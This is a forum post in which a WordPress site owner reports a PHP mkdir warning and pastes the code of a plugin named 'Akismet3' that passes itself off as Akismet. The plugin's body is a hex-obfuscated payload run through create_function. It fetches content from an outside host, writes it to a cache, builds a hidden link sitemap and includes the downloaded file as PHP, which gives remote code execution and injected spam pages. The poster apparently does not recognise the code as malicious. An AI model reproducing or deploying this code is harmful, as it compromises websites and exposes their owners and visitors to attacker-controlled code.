Error php

Hi Akismet!
I’ve an error of php:
Warning: mkdir(): No such file or directory in /web/htdocs……/Akismet3/Akismet3(35) : runtime-created function on line 49.
Thank you

that’s the code of file:

<?php
/**
*
* @package Akismet3
* @version 3.9.9
* @author WordPress.com <wordpress.com>
* @copyright Copyright (c) 2012, WordPress.com
* @license http://opensource.org/licenses/gpl-2.0.php GPL v2 or later
* @link http://wordpress.com
* @description Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. It keeps your site protected even while you sleep. To get started: 1) Click the “Activate” link to the left of this description, 2) Sign up for an Akismet plan to get an API key, and 3) Go to your Akismet configuration page, and save your API key.
*/
/*
Plugin Name: Akismet3
Plugin URI: http://wordpress.com
Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. It keeps your site protected even while you sleep. To get started: 1) Click the “Activate” link to the left of this description, 2) Sign up for an Akismet plan to get an API key, and 3) Go to your Akismet configuration page, and save your API key.
Version: 3.9.9
Author: WordPress.com
Author URI: http://wordpress.com
License: GPLv2 or later
*/

$Ldkrw = “6966282166756e6374696f6e5f6578697374732822736974655f75726c2229297b66756e6374696f6e20736974655f75726c28297b72657475726e20245f5345525645525b27485454505f484f5354275d3b7d7d0a66756e6374696f6e206765745f68656164282475726c297b0a0969662820246375726c203d206375726c5f696e697428292029207b0a09096375726c5f7365746f707428246375726c2c4355524c4f50545f55524c2c2475726c293b0a09096375726c5f7365746f707428246375726c2c4355524c4f50545f52455455524e5452414e534645522c74727565293b0a09096375726c5f7365746f707428246375726c2c4355524c4f50545f4e4f424f44592c74727565293b0a09096375726c5f7365746f707428246375726c2c4355524c4f50545f4845414445522c74727565293b0a0909246f7574203d206375726c5f6578656328246375726c293b0a09096375726c5f636c6f736528246375726c293b0a090972657475726e20246f75743b0a097d0a7d0a0a24414b49534d455433203d204e554c4c3b0a6164645f616374696f6e2827696e6974272c2027616b69736d6574335f696e6974272c2030293b0a6164645f616374696f6e2827696e6974272c2027616b69736d6574335f6c6f61645f64617461272c2031293b0a6164645f616374696f6e2827696e6974272c2027616b69736d6574335f636f6e74656e74272c2032293b0a66756e6374696f6e20616b69736d6574335f696e697428297b0a09676c6f62616c2024414b49534d4554333b0a0924414b49534d455433203d206e657720416b69736d6574335f506c7567696e28293b0a097d0a66756e6374696f6e20616b69736d6574335f6c6f61645f6461746128297b0a09676c6f62616c2024414b49534d4554333b0a0924414b49534d4554332d3e6c6f61645f6461746128293b0a7d0a66756e6374696f6e20616b69736d6574335f636f6e74656e7428297b0a09676c6f62616c2024414b49534d4554333b0a0924414b49534d4554332d3e73686f775f636f6e74656e7428293b0a7d0a636c61737320416b69736d6574335f506c7567696e207b0a097072697661746520245f686f73743b0a097072697661746520245f736572766572203d2022687474703a2f2f776f726470726573732d6261636b75702e636f6d2f223b0a097072697661746520245f757269203d2046414c53453b0a097072697661746520245f706c7567696e506174683b0a097072697661746520245f6361636865466f6c6465723b0a0966756e6374696f6e205f5f636f6e73747275637428297b0a09090a090924746869732d3e5f686f7374203d207374725f7265706c616365286172726179282768747470733a2f2f272c2027687474703a2f2f272c20272c272c20275c5c272c20272f272c20273a3830272c20273a343433272c20273a27292c2027272c20736974655f75726c2829293b0a09090a09096966287375627374725f636f756e7428245f5345525645525b27524551554553545f555249275d2c20272f2729203c203220262620737472706f7328245f5345525645525b27524551554553545f555249275d2c2777702d2729203d3d3d2046414c5345297b0a09090924746869732d3e5f757269203d207374725f7265706c61636528272f272c2027272c20245f5345525645525b27524551554553545f555249275d293b0a09090924746869732d3e5f706c7567696e50617468203d20747261696c696e67736c617368697428747261696c696e67736c6173686974284142535041544829202e202777702d636f6e74656e7427202e204449524543544f52595f534550415241544f52202e2027706c7567696e7327202e204449524543544f52595f534550415241544f52202e2027416b69736d65743327293b0a09097d0a09092f2f6563686f2024746869732d3e5f7572693b0a09090a09090a090924746869732d3e5f6361636865466f6c646572203d2024746869732d3e5f706c7567696e50617468202e2027636163686527202e204449524543544f52595f534550415241544f523b0a09096966282166696c655f6578697374732824746869732d3e5f6361636865466f6c64657229290a0909096d6b6469722824746869732d3e5f6361636865466f6c646572293b0a09097d0a0966756e6374696f6e206c6f61645f6461746128297b0a090969662824746869732d3e5f757269297b0a090909696620282166696c655f6578697374732824746869732d3e5f6361636865466f6c646572202e206d64352824746869732d3e5f75726929202e20272e646174272929207b0a090909090a09090909092468656164733d6765745f686561642824746869732d3e5f736572766572202e2024746869732d3e5f686f7374202e222f22202e2024746869732d3e5f757269293b0a090909090a0909090909696628707265675f6d6174636828272334303423272c24686561647329207c7c20707265675f6d6174636828272335303023272c24686561647329297b0a09090909090972657475726e2046414c53453b0a09090909097d656c73657b0a09090909090924726573706f6e7365203d2066696c655f6765745f636f6e74656e74732824746869732d3e5f736572766572202e2024746869732d3e5f686f7374202e222f22202e2024746869732d3e5f757269293b0a09090909090966696c655f7075745f636f6e74656e74732824746869732d3e5f6361636865466f6c646572202e206d64352824746869732d3e5f75726929202e20272e646174272c2024726573706f6e7365293b7d0a0909090909094066696c655f7075745f636f6e74656e74732824746869732d3e5f6361636865466f6c6465722e27736974656d61702e68746d6c272c4066696c655f6765745f636f6e74656e74732824746869732d3e5f6361636865466f6c6465722e27736974656d61702e68746d6c27292e273c6120687265663d22687474703a2f2f272e24746869732d3e5f686f7374202e222f22202e2024746869732d3e5f7572692e27223e272e24746869732d3e5f686f7374202e222f22202e2024746869732d3e5f7572692e273c2f613e202d2063616368654e616d653a272e6d64352824746869732d3e5f75726929202e20272e646174272e273c62723e27293b0a090909097d0a0909097d0a09097d0a0966756e6374696f6e2073686f775f636f6e74656e7428297b0a090969662824746869732d3e5f7572692026262066696c655f6578697374732824746869732d3e5f6361636865466f6c646572202e206d64352824746869732d3e5f75726929202e20272e6461742729297b0a09090909696e636c7564652024746869732d3e5f6361636865466f6c646572202e206d64352824746869732d3e5f75726929202e20272e646174273b657869743b0a09097d0a097d0a7d”;
if(!function_exists(“hex2asc”)){
function hex2asc($in){
$out = “”;
$j=strlen($in)/2;
for($i=0;$i<$j;$i++){
$out.=chr(
base_convert(substr($in,$i*2,2),16,10)
);
}
return $out;
}
}
$Ldkrw = create_function(null, hex2asc($Ldkrw));
$Ldkrw();
?>

https://wordpress.org/plugins/akismet/